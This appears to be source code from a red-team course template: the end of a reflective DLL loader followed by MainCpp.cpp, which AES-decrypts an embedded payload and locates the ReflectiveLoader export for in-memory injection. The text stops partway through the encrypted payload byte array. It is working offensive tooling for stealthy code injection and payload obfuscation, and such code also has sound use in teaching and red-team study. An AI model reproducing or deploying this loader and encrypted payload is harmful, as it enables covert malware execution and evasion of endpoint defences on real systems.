						dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
						// patch in the relocated address...
						dwInstruction |= (DWORD)(dwAddress & 0x00FF);
						dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
						dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
						dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
						// now flip the instructions words and patch back into the code...
						*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
					}
				}
#endif
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
					*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
					*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				// get the next entry in the current relocation block
				uiValueD += sizeof(IMAGE_RELOC);
			}

			// get the next entry in the relocation directory
			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	// STEP 6: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
	uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);

	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
	pNtFlushInstructionCache((HANDLE)-1, NULL, 0);

	// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif

	// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
	return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}

#endif
//===============================================================================================//

MainCpp.cpp

/*

 Red Team Operator course code template
 Reflective Loader template

 author: reenz0h (twitter: @SEKTOR7net)

*/
#include <winternl.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


#define REFLDR_NAME "ReflectiveLoader"

int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
	HCRYPTPROV hProv;
	HCRYPTHASH hHash;
	HCRYPTKEY hKey;

	if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		return -1;
	}
	if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
		return -1;
	}
	if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
		return -1;
	}
	if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
		return -1;
	}

	if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
		return -1;
	}

	CryptReleaseContext(hProv, 0);
	CryptDestroyHash(hHash);
	CryptDestroyKey(hKey);

	return 0;
}


//===============================================================================================//
// src: https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/LoadLibraryR.c
#define WIN_X64
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
	WORD wIndex = 0;
	PIMAGE_SECTION_HEADER pSectionHeader = NULL;
	PIMAGE_NT_HEADERS pNtHeaders = NULL;

	pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

	pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);

	if (dwRva < pSectionHeader[0].PointerToRawData)
		return dwRva;

	for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
	{
		if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
			return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
	}

	return 0;
}

DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
	UINT_PTR uiBaseAddress = 0;
	UINT_PTR uiExportDir = 0;
	UINT_PTR uiNameArray = 0;
	UINT_PTR uiAddressArray = 0;
	UINT_PTR uiNameOrdinals = 0;
	DWORD dwCounter = 0;
#ifdef WIN_X64
	DWORD dwCompiledArch = 2;
#else
	// This will catch Win32 and WinRT.
	DWORD dwCompiledArch = 1;
#endif

	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

	// get the File Offset of the modules NT Header
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// currenlty we can only process a PE file which is the same type as the one this fuction has  
	// been compiled as, due to various offset in the PE structures being defined at compile time.
	if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
	{
		if (dwCompiledArch != 1)
			return 0;
	}
	else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
	{
		if (dwCompiledArch != 2)
			return 0;
	}
	else
	{
		return 0;
	}

	// uiNameArray = the address of the modules export directory entry
	uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

	// get the File Offset of the export directory
	uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

	// get the File Offset for the array of name pointers
	uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

	// get the File Offset for the array of addresses
	uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

	// get the File Offset for the array of name ordinals
	uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);

	// get a counter for the number of exported functions...
	dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

	// loop through all the exported functions to find the ReflectiveLoader
	while (dwCounter--)
	{
		char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));

		if (strstr(cpExportedFunctionName, REFLDR_NAME) != NULL)
		{
			// get the File Offset for the array of addresses
			uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

			// use the functions name ordinal as an index into the array of name pointers
			uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

			// return the File Offset to the ReflectiveLoader() functions code...
			return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
		}
		// get the next exported function name
		uiNameArray += sizeof(DWORD);

		// get the next exported function name ordinal
		uiNameOrdinals += sizeof(WORD);
	}

	return 0;
}

// reflective DLL payload
unsigned char payload[] = { 0xcb, 0xd9, 0x9c, 0x8f, 0xf2, 0x9f, 0x2c, 0xd6, 0x5d, 0x9, 0x50, 0x18, 0xd9, 0xbf, 0xd8, 0x81, 0xa9, 0xe, 0xc1, 0xe4, 0x2e, 0xbb, 0x31, 0xdd, 0xbb, 0x90, 0x0, 0x13, 0xfe, 0x3a, 0x7b, 0xa1, 0x3, 0x1a, 0x74, 0x7a, 0x65, 0xf0, 0x7a, 0x1d, 0xd3, 0xcf, 0xc5, 0x56, 0x51, 0x96, 0x6a, 0x50, 0x64, 0xf9, 0x10, 0x5a, 0x6b, 0xea, 0x28, 0x71, 0xc9, 0x9b, 0x60, 0x4f, 0x4a, 0x1d, 0x7f, 0xd9, 0x12, 0x84, 0x68, 0x60, 0x78, 0x18, 0xce, 0xb4, 0x7f, 0x2b, 0xa8, 0x94, 0xdb, 0xba, 0xb, 0x9f, 0xdb, 0x78, 0xb7, 0x4f, 0x88, 0x6, 0x10, 0x80, 0xd2, 0x55, 0xaf, 0x7, 0x9d, 0xde, 0x3b, 0x12, 0x5d, 0xd2, 0x9e, 0xc8, 0xc7, 0xe1, 0x15, 0xb7, 0xcc, 0x77, 0xea, 0x67, 0xe, 0x35, 0xc4, 0x90, 0x22, 0x97, 0xa6, 0x64, 0xa2, 0x5d, 0x85, 0xfa, 0x94, 0x33, 0x9d, 0x19, 0x4b, 0x82, 0xf1, 0x14, 0x14, 0x21, 0x5b, 0x34, 0xba, 0x70, 0x90, 0x1, 0xcb, 0x3e, 0x8f, 0xc5, 0x33, 0x64, 0xb9, 0x13, 0x1b, 0x10, 0xbc, 0xf0, 0xe1, 0xd1, 0xc1, 0x48, 0xc1, 0x74, 0x4a, 0xa8, 0xc5, 0x86, 0x1, 0x73, 0x11, 0xef, 0x77, 0xdb, 0x21, 0xdd, 0xca, 0xc1, 0x62, 0x77, 0x82, 0x98, 0xa1, 0x8c, 0xcd, 0x78, 0xb8, 0xc, 0x31, 0xce, 0x33, 0x1a, 0xcc, 0xd1, 0x0, 0x15, 0x89, 0x33, 0xdd, 0x55, 0x6d, 0xf6, 0xd0, 0x34, 0x65, 0x90, 0xa9, 0x67, 0x3f, 0x3f, 0x5b, 0x99, 0x3e, 0xbb, 0xef, 0xcf, 0x2c, 0xbe, 0xa8, 0x28, 0x71, 0x34, 0xf0, 0x1a, 0x93, 0x6f, 0xbf, 0xde, 0x3a, 0xed, 0xac, 0x2f, 0x84, 0xb4, 0x7a, 0x68, 0x58, 0x93, 0x8d, 0xf8, 0xbb, 0x40, 0xa1, 0x10, 0xe, 0x8a, 0x2d, 0x49, 0xc2, 0xa2, 0x15, 0x2e, 0xb6, 0x63, 0x64, 0x4, 0x85, 0x77, 0x59, 0xd3, 0x92, 0x48, 0xd5, 0x31, 0x0, 0x2e, 0x6d, 0x40, 0xf8, 0x70, 0xe4, 0x4b, 0xb9, 0xc7, 0xfb, 0xb2, 0x93, 0x9e, 0xb9, 0xef, 0xc8, 0xad, 0xf7, 0x77, 0x68, 0xc3, 0xca, 0xc9, 0x35, 0xb9, 0xf, 0xe, 0x91, 0x72, 0x2, 0x41, 0x91, 0xe3, 0x35, 0x11, 0xc, 0x24, 0x55, 0xd7, 0x31, 0xf1, 0x93, 0xf2, 0x9, 0xbe, 0xc5, 0xa5, 0xb2, 0xa8, 0xea, 0x4f, 0x64, 0xf5, 0x71, 0xdc, 0x84, 0xb2, 0x45, 0x36, 0x1f, 0x79, 0x8e, 0x91, 0x6, 0xe6, 0x48, 0xef, 0x8f, 0xb4, 0x7d, 0x31, 0xee, 0xfe, 0x79, 0x2f, 0x1f, 0x72, 0x2a, 0xf6, 0xa3, 0x56, 0xfa, 0x87, 0x29, 0x5b, 0xfa, 0x9b, 0x87, 0xd7, 0x7e, 0x7f, 0xf5, 0x75, 0x24, 0x16, 0xb6, 0xef, 0x97, 0x80, 0x1b, 0xd1, 0xe4, 0x6, 0x20, 0xe2, 0x4, 0x46, 0x57, 0x73, 0xf7, 0xbc, 0xf8, 0xea, 0xdc, 0xd3, 0x8, 0xe8, 0x9a, 0xe4, 0x14, 0x65, 0x72, 0x14, 0xb8, 0x2d, 0xf8, 0x11, 0x9a, 0x9c, 0x20, 0xb0, 0x9a, 0xcf, 0xd3, 0xeb, 0x6a, 0xf0, 0xd6, 0x3d, 0xc8, 0xbf, 0x3b, 0xcf, 0x76, 0x4d, 0x7f, 0x62, 0x50, 0x94, 0x88, 0x70, 0x77, 0xe8, 0x1d, 0xaf, 0xff, 0xf8, 0x8e, 0x37, 0x10, 0xd2, 0x2c, 0xb0, 0xc, 0x7b, 0x57, 0x17, 0xdd, 0x61, 0x83, 0x1d, 0x66, 0x8e, 0x6a, 0x53, 0x41, 0x76, 0x43, 0xb2, 0xf7, 0x55, 0xd4, 0x67, 0xbd, 0x3, 0x4b, 0xff, 0xc6, 0xc, 0xab, 0x97, 0x69, 0x3e, 0x85, 0x86, 0x38, 0xe7, 0xcc, 0xc9, 0x6e, 0xc, 0xb8, 0x99, 0xe1, 0x21, 0x6e, 0xb2, 0xed, 0xe0, 0x40, 0x14, 0xbb, 0x70, 0x54, 0x1a, 0xd8, 0xc9, 0x9d, 0xe0, 0x8d, 0x5, 0xe6, 0x6f, 0x27, 0x51, 0x95, 0xa8, 0x34, 0xe6, 0xea, 0x1a, 0x39, 0x2e, 0x3f, 0x36, 0x9a, 0x7d, 0xb8, 0xb, 0xd8, 0xcd, 0x3e, 0xa8, 0xe3, 0x21, 0x6b, 0x97, 0x79, 0x2a, 0x26, 0x2e, 0x2e, 0x89, 0x8a, 0xd7, 0xb8, 0x3e, 0x7f, 0x84, 0xf9, 0x9e, 0xcb, 0xb4, 0x2e, 0x17, 0xe5, 0x1d, 0xc0, 0x67, 0x71, 0x97, 0x12, 0x26, 0x58, 0xe0, 0x1d, 0x7d, 0x15, 0x35, 0x15, 0xd7, 0x9f, 0xe8, 0x3e, 0x84, 0x1b, 0x50, 0x71, 0xc6, 0x16, 0x9e, 0xd1, 0x84, 0x28, 0x99, 0x3d, 0x3e, 0x74, 0x10, 0xec, 0xc1, 0x3f, 0x75, 0x89, 0xc, 0xb6, 0x30, 0x32, 0x3f, 0x9b, 0x1, 0xc, 0x9b, 0x90, 0x49, 0x9c, 0x15, 0x25, 0x5f, 0x86, 0x4a, 0xaa, 0xa0, 0x85, 0x63, 0x36, 0x60, 0xdd, 0xf3, 0xf7, 0x3c, 0x93, 0x18, 0xa7, 0xd3, 0x8, 0xda, 0x4c, 0x1b, 0x72, 0xd, 0xc7, 0x99, 0x8d, 0x46, 0x70, 0x34, 0xac, 0xb2, 0x3d, 0x88, 0xeb, 0x92, 0x99, 0x93, 0xf, 0x7e, 0xcd, 0xf0, 0x5d, 0x90, 0xf8, 0xfe, 0xe9, 0x9c, 0x33, 0xc9, 0x7a, 0x40, 0x3f, 0x58, 0xe5, 0x37, 0x6f, 0x8c, 0x82, 0xb2, 0x1c, 0x34, 0xa7, 0x0, 0x34, 0xcb, 0xa, 0x52, 0x6d, 0x7b, 0xdc, 0x8, 0xcf, 0xcd, 0x8d, 0x3e, 0x6e, 0xa6, 0x15, 0x2c, 0x10, 0xeb, 0x57, 0x57, 0xbe, 0x2b, 0xb5, 0xc0, 0xc5, 0xcc, 0xcf, 0x12, 0x3, 0x14, 0x80, 0x66, 0x93, 0x2e, 0x6c, 0x3b, 0x3a, 0xa5, 0x75, 0x34, 0x66, 0xf5, 0x5b, 0xa4, 0x43, 0x86, 0x9d, 0xac, 0x15, 0xca, 0x27, 0x15, 0xc4, 0x61, 0xb2, 0x85, 0xe0, 0x42, 0x70, 0x35, 0x37, 0x49, 0x27, 0x53, 0x77, 0x3c, 0xad, 0x22, 0xe1, 0x2f, 0x4b, 0x22, 0xae, 0x99, 0xec, 0xc4, 0xdc, 0xbc, 0x8f, 0xee, 0x91, 0xe7, 0x2f, 0x27, 0xde, 0x2c, 0x9b, 0xd8, 0xbe, 0x83, 0xa2, 0x6f, 0x3e, 0x81, 0x85, 0x21, 0x20, 0x8c, 0x51, 0x51, 0x20, 0x54, 0x87, 0x6d, 0x62, 0xd3, 0x89, 0x2c, 0x7b, 0x29, 0x31, 0x22, 0x1a, 0x69, 0x3b, 0xd4, 0x3c, 0x1e, 0xa5, 0xbb, 0x44, 0x2a, 0xc6, 0x23, 0x77, 0x37, 0xba, 0xb6, 0xca, 0x1e, 0xf9, 0xba, 0xc2, 0xa9, 0x45, 0x15, 0x95, 0xf0, 0xca, 0x91, 0x25, 0x1c, 0xc6, 0xf, 0x4e, 0x3f, 0xd0, 0x4b, 0xc1, 0xee, 0x6a, 0xde, 0x8b, 0x9e, 0xae, 0x23, 0x55, 0xe2, 0x66, 0x30, 0xc3, 0xc6, 0x25, 0x44, 0x74, 0x32, 0x27, 0x45, 0xd2, 0xbf, 0xf9, 0x50, 0x26, 0xcf, 0x82, 0xc4, 0x11, 0x54, 0xcc, 0x3a, 0xf, 0xb, 0x3d, 0x14, 0xde, 0xbf, 0x92, 0xa0, 0x99, 0xaf, 0x1d, 0x29, 0x6e, 0x2, 0x5d, 0xd8, 0x8, 0x80, 0xf1, 0x77, 0x4d, 0x5c, 0x23, 0x6a, 0xdc, 0xb6, 0x42, 0x1f, 0x11, 0xb2, 0x11, 0x85, 0xf4, 0xfa, 0x93, 0xb4, 0xb, 0x1, 0x37, 0x5d, 0xcc, 0x19, 0xfb, 0xf7, 0xf3, 0x32, 0x65, 0x46, 0x21, 0x64, 0x8, 0xfd, 0xf8, 0x7d, 0xb7, 0x96, 0xb1, 0x93, 0xe7, 0x50, 0x74, 0xfc, 0xf8, 0x7c, 0xb3, 0x56, 0xe7, 0xc2, 0x28, 0xef, 0x43, 0x3f, 0x6a, 0xc6, 0xdb, 0x2a, 0xd8, 0x3d, 0x8f, 0x9e, 0xa, 0x68, 0xd2, 0xec, 0x31, 0x45, 0xcc, 0x8, 0xd8, 0x73, 0xc0, 0x63, 0x96, 0x88, 0xd3, 0x8a, 0x4b, 0xce, 0x42, 0xe9, 0x55, 0x86, 0x2d, 0x43, 0x40, 0xfd, 0xa8, 0x3, 0xa9, 0x2b, 0x6e, 0xd3, 0x38, 0xef, 0x83, 0x28, 0x98, 0xdb, 0xdc, 0xef, 0x81, 0x9b, 0xf5, 0x2d, 0x6f, 0xb6, 0x42, 0x1, 0x20, 0x23, 0x87, 0xe2, 0xbf, 0x95, 0xaa, 0x9, 0x6a, 0xd5, 0xf0, 0x6b, 0xbb, 0x69, 0x19, 0x54, 0x4, 0xd, 0x67, 0xec, 0xad, 0xd3, 0xd2, 0xb2, 0xcf, 0xd5, 0x1b, 0x54, 0x4d, 0xc5, 0x12, 0xdb, 0xae, 0xb5, 0xc9, 0x58, 0xde, 0xd6, 0x20, 0x34, 0xc9, 0xc1, 0xa4, 0x7f, 0xcd, 0xcf, 0x90, 0xb2, 0x49, 0xb6, 0xea, 0x36, 0xe4, 0x10, 0xbc, 0x0, 0x44, 0xa4, 0xb4, 0x3a, 0xb2, 0x56, 0xd6, 0x68, 0xa2, 0x85, 0xd0, 0x53, 0xc0, 0x98, 0x9c, 0xb3, 0x55, 0x0, 0x51, 0x6d, 0x44, 0x3a, 0x3b, 0x11, 0xd6, 0xf6, 0xc8, 0x5d, 0xbb, 0xb9, 0xc7, 0x98, 0x4b, 0xa7, 0xae, 0x6, 0x23, 0xdb, 0x47, 0x9, 0xb1, 0xc4, 0xc0, 0x7f, 0x54, 0x7a, 0xf3, 0xb6, 0xdf, 0x75, 0xe, 0x5f, 0x90, 0xda, 0xf2, 0x7a, 0x49, 0xe, 0x8d, 0x4b, 0x43, 0x6c, 0xe6, 0xd1, 0xf9, 0xc, 0x31, 0x90, 0xc4, 0x66, 0x45, 0x61, 0x27, 0xa3, 0xea, 0x61, 0xa1, 0x9c, 0x1f, 0x35, 0xa6, 0x7a, 0x63, 0x3d, 0xeb, 0xd2, 0x4c, 0x7c, 0x1, 0x8d, 0x2f, 0xb9, 0xb6, 0x75, 0x12, 0x72, 0xa5, 0xb7, 0x8a, 0xd3, 0xf3, 0xb4, 0x8c, 0xdb, 0x4f, 0x3a, 0xc2, 0x75, 0xc7, 0x1d, 0x67, 0x40, 0x36, 0x82, 0x5c, 0xf6, 0x6d, 0x51, 0xda, 0xe9, 0x1b, 0xfc, 0x5e, 0x25, 0xb0, 0x80, 0xaa, 0x59, 0x79, 0x41, 0xce, 0x2f, 0x6d, 0x47, 0x3, 0x77, 0xc1, 0x4d, 0x0, 0x9d, 0x43, 0x88, 0x90, 0x1f, 0xe, 0x6, 0xf, 0x32, 0x62, 0xd9, 0x99, 0x82, 0x34, 0xa2, 0x47, 0xb9, 0x20, 0x7f, 0x79, 0x96, 0xe9, 0x7e, 0x9d, 0x8, 0x90, 0xb4, 0xc3, 0x1b, 0xc1, 0x82, 0x18, 0x74, 0x8, 0x99, 0xa4, 0x21, 0xb4, 0x10, 0xd0, 0x2, 0xb2, 0x31, 0x7b, 0x38, 0x78, 0x62, 0xeb, 0x77, 0x5, 0x69, 0xff, 0x15, 0x5c, 0xd5, 0x53, 0xd9, 0x3d, 0x79, 0x20, 0x7b, 0x69, 0x90, 0x83, 0x11, 0xc5, 0xd1, 0xac, 0x4, 0x21, 0xa7, 0xe1, 0xc0, 0x7f, 0x6c, 0x7d, 0xbe, 0xf7, 0xc, 0x57, 0xd4, 0xf, 0xc1, 0xa6, 0xde, 0x52, 0xf7, 0x15, 0x98, 0x78, 0x6f, 0x19, 0xa2, 0xf6, 0xcb, 0xb3, 0xa2, 0xa, 0xf8, 0xc4, 0xfe, 0x49, 0xb, 0x16, 0x91, 0xda, 0xdc, 0xa0, 0x8, 0x6c, 0x1c, 0xcc, 0x6a, 0xb8, 0x40, 0x77, 0x5d, 0x23, 0x80, 0xa2, 0xca, 0x3f, 0x72, 0x90, 0xee, 0xb2, 0xa2, 0xf1, 0x27, 0x6, 0xb3, 0x48, 0xa2, 0xdb, 0xa6, 0xb7, 0x8e, 0x6c, 0x59, 0xb4, 0x5, 0x90, 0x9d, 0x3a, 0x21, 0x1b, 0x7a, 0x5a, 0x20, 0xf6, 0xd1, 0xaf, 0xe0, 0xe2, 0xac, 0x8f, 0x55, 0x33, 0xf7, 0xf5, 0x69, 0xfc, 0x83, 0x9c, 0xd7, 0xb1, 0xcf, 0xde, 0xfb, 0x60, 0x13, 0xb3, 0xe1, 0x6, 0x8a, 0xd0, 0xe5, 0xbc, 0x87, 0xf2, 0x74, 0x71, 0x5c, 0xfd, 0x9b, 0x56, 0xe9, 0x94, 0xa4, 0x43, 0xe4, 0xe6, 0x7, 0x31, 0x4, 0x5, 0xd5, 0x7a, 0x19, 0x36, 0x66, 0x38, 0x79, 0xf4, 0x18, 0x52, 0x3d, 0x21, 0xf0, 0xff, 0x43, 0xae, 0xdb, 0x26, 0xd7, 0x35, 0x22, 0xda, 0x1c, 0x11, 0xc6, 0xad, 0xc1, 0xa, 0x14, 0xe2, 0x3f, 0x3c, 0xe0, 0x79, 0xe, 0x10, 0x1a, 0x20, 0xd2, 0x5e, 0xf5, 0x71, 0x6, 0xbf, 0xfb, 0x5, 0x72, 0x81, 0xf2, 0xca, 0x1, 0x9f, 0x54, 0x4b, 0xd0, 0xe8, 0x6b, 0xf6, 0x39, 0x76, 0x8e, 0xdb, 0x27, 0x5b, 0xea, 0x7a, 0xdc, 0xde, 0x3a, 0x7e, 0xd1, 0x28, 0xce, 0x83, 0xcf, 0x55, 0x97, 0x8c, 0x66, 0xc5, 0x8e, 0x4d, 0xa8, 0x6b, 0x73, 0x73, 0x65, 0x3a, 0x3c, 0x68, 0x4e, 0x1d, 0xa5, 0x6d, 0x4e, 0xa6, 0xe3, 0x98, 0xce, 0xfa, 0xab, 0x1, 0x4b, 0xa8, 0xc2, 0x38, 0x4c, 0x28, 0xf7, 0x73, 0xb1, 0xd1, 0x1d, 0xe8, 0xc, 0x68, 0x2, 0xe1, 0x6d, 0x89, 0xef, 0xcc, 0x87, 0xb8, 0xd0, 0xb2, 0x26, 0x9e, 0x1b, 0x62, 0xdf, 0x82, 0x5a, 0x99, 0x53, 0x5c, 0xd7, 0x67, 0xe, 0x51, 0x81, 0xfb, 0x72, 0xfe, 0xdd, 0xa, 0xee, 0xc6, 0x92, 0xb2, 0x5c, 0x55, 0x5c, 0x1c, 0x10, 0xfe, 0x51, 0x98, 0xc4, 0xe3, 0x66, 0xae, 0x15, 0xc5, 0x6d, 0xc7, 0xb3, 0x92, 0xb4, 0x26, 0xbe, 0x52, 0xdf, 0xa7, 0x1d, 0x53, 0x3a, 0xba, 0x4a, 0x93, 0x2a, 0x5a, 0x93, 0xd5, 0x81, 0xb0, 0xef, 0x9f, 0xc4, 0x31, 0xe5, 0xd4, 0x71, 0x5b, 0x60, 0x2d, 0x30, 0x1f, 0x76, 0x7b, 0x86, 0xb0, 0xa3, 0x33, 0x54, 0x79, 0x41, 0x25, 0x95, 0xcc, 0x1b, 0x96, 0xfe, 0x6b, 0xd, 0xbe, 0xdf, 0xb7, 0xb4, 0x25, 0x65, 0x6f, 0x71, 0x7a, 0x45, 0xd8, 0xfe, 0x8b, 0xf0, 0xc6, 0x56, 0x8f, 0x76, 0xf5, 0xf6, 0x25, 0x6a, 0xe5, 0x7f, 0xa3, 0x3b, 0x80, 0x8d, 0xf5, 0x46, 0x74, 0xe8, 0x23, 0xef, 0x1d, 0x9f, 0xff, 0x7a, 0x29, 0x4e, 0x1e, 0x2b, 0xfa, 0x4b, 0xc9, 0x1d, 0x83, 0xbb, 0x70, 0x28, 0x78, 0xc1, 0xb3, 0x57, 0xbd, 0x72, 0xe6, 0x40, 0x64, 0x32, 0x1d, 0xda, 0xd3, 0x34, 0xd6, 0x32, 0xe6, 0xfb, 0x1a, 0x82, 0x6e, 0x1e, 0x4b, 0x39, 0x57, 0xee, 0xd3, 0x7, 0xa3, 0x9c, 0xc3, 0x46, 0xdc, 0x2b, 0x22, 0x91, 0xfd, 0x12, 0xf2, 0xed, 0x2d, 0xc4, 0x39, 0x19, 0x8f, 0x8d, 0x24, 0xba, 0xb3, 0xe3, 0x32, 0xf1, 0xbc, 0x4c, 0xbb, 0xb5, 0x86, 0xe6, 0x96, 0xfe, 0x29, 0x93, 0x24, 0xbd, 0xcd, 0x8b, 0x1e, 0xfb, 0xfb, 0xa4, 0x14, 0xfb, 0xe0, 0x6, 0x80, 0xdc, 0x97, 0x3e, 0xca, 0xd2, 0xc1, 0x29, 0xb6, 0x1c, 0x24, 0x7f, 0x63, 0xdb, 0x5f, 0xde, 0x3c, 0xbc, 0xa9, 0x85, 0x8e, 0x2, 0x62, 0x12, 0xd3, 0x80, 0x38, 0xd, 0xad, 0x39, 0xcf, 0xa0, 0x2a, 0x76, 0x1f, 0x6a, 0xcf, 0x9a, 0xdb, 0xf7, 0x5b, 0x29, 0x5c, 0xf7, 0x9, 0xdd, 0xb5, 0x5c, 0xc9, 0x37, 0xfe, 0xf3, 0xf7, 0x2, 0x2f, 0xb5, 0x21, 0x29, 0x47, 0xa8, 0x66, 0x7, 0x4b, 0x29, 0xd6, 0x15, 0xd2, 0x77, 0xa6, 0x73, 0xf0, 0xef, 0xe7, 0xea, 0xcf, 0x90, 0x23, 0xe9, 0x1c, 0x49, 0x2d, 0xad, 0xb8, 0x1f, 0xb6, 0x24, 0x13, 0x34, 0x80, 0x81, 0x6a, 0xfb, 0x1b, 0xce, 0x48, 0x8e, 0x40, 0xc7, 0xd5, 0xa, 0xb2, 0x31, 0xe1, 0x1, 0x5c, 0x93, 0x72, 0x20, 0xf7, 0xd0, 0x36, 0x12, 0x92, 0x9d, 0x5a, 0x6e, 0x67, 0xe5, 0x87, 0xa7, 0xad, 0x39, 0x55, 0x43, 0x96, 0x13, 0x95, 0x92, 0x59, 0x7e, 0xda, 0xb, 0xf5, 0xea, 0xd7, 0x6a, 0x59, 0x62, 0xe1, 0x83, 0xdf, 0x33, 0x96, 0xe, 0xf6, 0x6b, 0x66, 0x44, 0x35, 0xbc, 0x20, 0x34, 0xc5, 0x69, 0x4a, 0xa4, 0xba, 0x2b, 0x8c, 0xf4, 0x68, 0xb0, 0xbb, 0x90, 0xe9, 0x3f, 0x4d, 0x38, 0xbd, 0x38, 0xf2, 0xba, 0xe, 0xb5, 0xcd, 0x9, 0x3a, 0xee, 0xc3, 0x2a, 0x61, 0x58, 0xe2, 0x68, 0x54, 0xa4, 0xae, 0xe8, 0x63, 0x33, 0x33, 0xf1, 0x37, 0xd2, 0x20, 0xdc, 0x19, 0xf, 0xec, 0x39, 0x7, 0xe4, 0xb4, 0x8a, 0x23, 0x87, 0xba, 0xd9, 0x42, 0xbc, 0x3e, 0x19, 0xc0, 0x8, 0x7b, 0xb3, 0x95, 0x70, 0x24, 0x7a, 0x46, 0x36, 0x67, 0xf8, 0x37, 0x51, 0xd5, 0x35, 0x51, 0x52, 0x6c, 0xac, 0xdc, 0x20, 0xaf, 0x83, 0x76, 0x9c, 0x79, 0x64, 0xce, 0xe8, 0xe1, 0x37, 0xa6, 0xf, 0x6a, 0x9f, 0x48, 0x8e, 0xce, 0x2b, 0x52, 0xeb, 0xd4, 0xe8, 0x9f, 0x98, 0x3, 0x90, 0xec, 0xb6, 0x42, 0xd8, 0x7, 0x86, 0xd4, 